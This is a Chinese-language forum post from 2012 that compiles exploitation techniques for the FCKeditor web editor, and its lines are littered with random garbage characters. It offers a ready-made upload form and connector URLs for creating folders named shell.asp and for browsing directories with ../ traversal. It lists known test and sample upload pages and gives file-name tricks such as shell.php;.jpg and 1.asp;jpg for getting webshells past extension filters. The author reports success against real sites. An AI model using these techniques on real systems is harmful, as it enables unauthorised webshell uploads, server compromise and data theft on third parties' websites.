Fckeditor漏洞利用总结
- G/ O B3 r* h' A7 T# l3 X# e* \查看编辑器版本/ V3 M" g1 ^" R, ~3 E0 N
FCKeditor/_whatsnew.html
% X) a, N: w/ K( X+ [—————————————————————————————————————————————————————————————
: Q3 `$ Y H0 }' b% G8 n
0 ~+ Q0 g `9 I+ a o# m. J$ C2. Version 2.2 版本! C, i! r- }( O
Apache+linux 环境下在上传文件后面加个.突破！测试通过。7 g9 Y% N/ b6 u, V) R
—————————————————————————————————————————————————————————————
! X6 E9 f. H9 |7 p& D( e( P- ]* K8 a5 S6 k# Q4 E6 a5 u3 {
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。7 ?& }+ e- u ]7 \7 |
<form id="frmUpload" enctype="multipart/form-data"% i9 X: f: Q4 d$ t3 |1 U8 Z+ }
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
8 M) D/ B4 {/ I* c<input type="file" name="NewFile" size="50"><br>
1 z! Z4 y) ^7 b5 C: I<input id="btnUpload" type="submit" value="Upload">% p$ h" ~5 j' J9 O
</form>1 q1 N, @: {4 R0 L2 f% m/ A. C+ E
—————————————————————————————————————————————————————————————6 s0 |# u4 E2 ~) d" L& k) r
* u: e& Q' s; X% x4.FCKeditor 文件上传“.”变“_”下划线的绕过方法) W/ Q. E: y0 V$ S4 m$ \6 l) Y
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。, M0 i3 t) L o9 ~+ D7 X: E8 G6 ]
4.1：提交shell.php+空格绕过
& f* B) u" R3 o% v4 _6 @& n不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
" Q) a3 i; F. C- c; `# W- a: _ 4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。0 E& }4 w# _4 r/ A& S
—————————————————————————————————————————————————————————————" e! F0 d" c: x9 n' E
@ K0 `, B) ]% { Y9 M) A5. 突破建立文件夹1 D' h) |% e( V7 O Z* j
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684- k/ P7 H; c6 m5 o! I5 D
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
- E! P1 n& {: X—————————————————————————————————————————————————————————————
' s0 ]3 [! Z, ]( b
* a* Q" o! Z: s$ I- ` f6. FCKeditor 中test 文件的上传地址6 F# I/ V( }* v2 X m" O
FCKeditor/editor/filemanager/browser/default/connectors/test.html
& u7 D: [; b$ q6 x, H) d, xFCKeditor/editor/filemanager/upload/test.html7 P# ^% H |6 Y) c! x# [* M
FCKeditor/editor/filemanager/connectors/test.html6 m# {! f/ E' z
FCKeditor/editor/filemanager/connectors/uploadtest.html# Q% p' N( f" E) x
—————————————————————————————————————————————————————————————
8 P8 G! h1 @0 o: {: m
# O4 d+ ~. d! e: ]+ R9 w0 g7.常用上传地址
5 K% Q. j2 |* b E( {FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/0 x: J6 D( J* h' a# K7 b) _
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
& }; R( v& f$ eFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)3 _& K' B1 |& T% Q; n. f. E* Y
JSP 版：: h! c6 y4 L) ]* Q0 s
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp' G8 }* j9 {5 r
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文9 ^; l) G7 O& L: i
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。! X" ?$ H; c" F' f- u# u9 b
—————————————————————————————————————————————————————————————/ l( A/ P( Y- R8 H
% N4 A5 e( b0 T; R' e
8.其他上传地址
3 v3 X6 B7 y. vFCKeditor/_samples/default.html. m5 I+ V. q6 x7 G" I
FCKeditor/_samples/asp/sample01.asp" @+ U2 B$ ~1 l9 F6 O; t
FCKeditor/_samples/asp/sample02.asp
; H8 M* Y) a8 B( L+ r" |7 [FCKeditor/_samples/asp/sample03.asp
3 [' G, h5 X) @) k+ ]1 AFCKeditor/_samples/asp/sample04.asp
\2 ~' z1 G# k- {一般很多站点都已删除_samples 目录，可以试试。
$ n$ t S: q5 o+ M% @FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
. X2 K) C/ Q! M8 n: U( w6 H O—————————————————————————————————————————————————————————————
4 u, H: ^6 `7 v3 I: k2 k" R( r* A& `
9.列目录漏洞也可助找上传地址
# I- `9 t( G% J# [/ Y6 pVersion 2.4.1 测试通过
- [3 t8 R- g, Z |8 T* X修改CurrentFolder 参数使用 ../../来进入不同的目录& V- w- m% m% a2 N V
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp1 G; r1 @( r' P" {% i. @
根据返回的XML 信息可以查看网站所有的目录。. Q$ K" Q2 `% K
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
, o4 q6 f5 G. K8 P0 A也可以直接浏览盘符：
' C# B4 y# f2 K' z4 ^2 Z1 }' CJSP 版本：
* c+ N% s, y* x4 ^: a2 `FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
9 K. E& Z2 m4 u; F—————————————————————————————————————————————————————————————
1 t+ c' K, h& U8 z! \& Z
* S) M+ k3 b1 `( G1 _$ c# J4 J10.爆路径漏洞
4 x/ U q! n) z+ a3 y. BFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp/ a B3 C, `' ]- u" `0 Q& P/ T4 y1 Y
—————————————————————————————————————————————————————————————
4 P- m0 a6 x( }5 L( ~6 T+ @( }
6 I8 d- m; t9 [1 f11. FCKeditor 被动限制策略所导致的过滤不严问题, B, r, D9 x# B) M. B3 X" X
影响版本: FCKeditor x.x <= FCKeditor v2.4.35 U0 [- M' k* N2 c: ~/ p
脆弱描述：# C$ O4 T7 g( K D: `5 [. D
FCKeditor v2.4.3 中File 类别默认拒绝上传类型：
0 _6 q* y, s8 ihtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
2 N/ e! }0 i( \. e6 B: J) @: T8 \Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName，而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
$ W# C- \. v' s3 u 而在apache 下，因为"Apache 文件名解析缺陷漏洞"也可以利用之，另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码，其限制最为狭隘。
* V. \6 o8 d$ r. R" B3 }" A 在上传时遇见可直接上传脚本文件固然很好，但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过，也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
5 Z7 C. }0 f' } |2 ], g# K9 P—————————————————————————————————————————————————————————————4 ]' Z6 w0 _ v+ I; ?
% |: k, k+ q" A: Y, U: \12.最古老的漏洞，Type文件没有限制！
; N$ Q8 E' b* }1 _2 j 我接触到的第一个fckeditor漏洞了。版本不详，应该很古老了，因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹，一个新类型，没有任何限制，可以上传任意脚本！ 3 j% J2 P% {$ y, {% U E
—————————————————————————————————————————————————————————————
4 w* F' K9 Z* ], S# k
: \8 |2 B& g! R, c5 Y# z=============================================================================================================================================== M9 g( k/ W% b) m3 W; |( S2 G/ C
" f: u; `. i2 fFCK编辑器jsp版本漏洞：* I) l( K5 F# q9 i {: I, z* s
5 l" i% }3 Z! x" k" W6 o2 b8 c
: `% C7 j3 q1 E# H. L. mhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
/ M7 w/ e) A5 D5 F( V
( X# S. v: I0 {6 H$ N" K上传马所在目录
1 L3 n# Z/ {. B2 C5 I* f; r' l& l$ HFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/9 O7 X+ ?1 K/ [% s: }1 x% w
上传shell的地址:3 N% t l8 N: m- _# q) {
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
3 s. g$ O: g v跟版本有关系.并不是百分百成功. 测试成功几个站.
/ c$ R. |4 v+ L- s- R不能通杀.很遗憾./ {- d8 s, A" p
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector' t' u) w3 Y q2 n; v5 F. `8 {
如果以上地址不行可以试试
8 r- f) `/ y( a0 c( {$ W- lFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector' s+ h4 C2 ?. o# W4 O
FCKeditor/_samples/
2 f/ [/ F0 m9 ^1 L# DFCKeditor/_samples/default.html
8 b! ?" E# ?7 }$ R" UFCKeditor/editor/fckeditor.htm
8 Z: {$ B% M9 ?6 Q/ DFCKeditor/editor/fckdialog.html0 J( Q3 L2 l) |5 z9 b8 p
! w ~" b3 i3 X# D8 X G0 q( y: Y$ y+ m. C1 C1 u5 s. j2 |7 ?
" a( K; m2 L! z$ I0 a: G, l8 l解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
0 Y8 [( l1 M2 E |
发表于 2012-9-13 17:01:39
收藏
支持
反对